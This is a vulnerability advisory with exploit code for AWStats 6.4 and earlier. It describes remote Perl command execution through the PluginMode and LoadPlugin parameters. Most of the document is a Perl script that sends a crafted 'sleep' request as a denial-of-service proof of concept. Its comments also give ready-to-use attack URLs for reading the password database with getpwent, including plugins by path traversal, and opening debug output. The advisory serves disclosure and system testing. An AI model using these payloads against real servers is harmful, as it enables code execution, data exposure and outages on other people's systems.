Summary
AWStats is "a free tool that generates advanced web, ftp or mail server statistics, graphically". Remote exploitation of an input validation vulnerability in AWStats allows attackers to execute arbitrary Perl commands under the privileges of the web server via the PluginMode and LoadPlugin parameter. The following exploit code can be used to test your system for the mentioned vulnerability (the exploit code contains samples and one PoC denial of service exploit).

Credit:
The information has been provided by GHC.

Details
Vulnerable Systems:
* AWStats version 6.4 and prior

Exploit:
#!/usr/bin/perl
#
#
# Summarized the advisory www.ghc.ru GHC: /str0ke
#
# [0] Exploitable example (raw log plugin):
# Attacker can read sensitive information
#
# http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog
#
# [1] Perl code execution. (This script)
#
# http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent
#
# [2] Arbitrary plugin including.
#
# http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib
#
# [3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4(Development).
# Every user can access debug function:
#
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2
#
# Be sure to change the $server + /cgi-bin location /str0ke
#

use IO::Socket;
$server = 'www.example.com';
sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
|| die "Error\n";
print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "\n\n";
}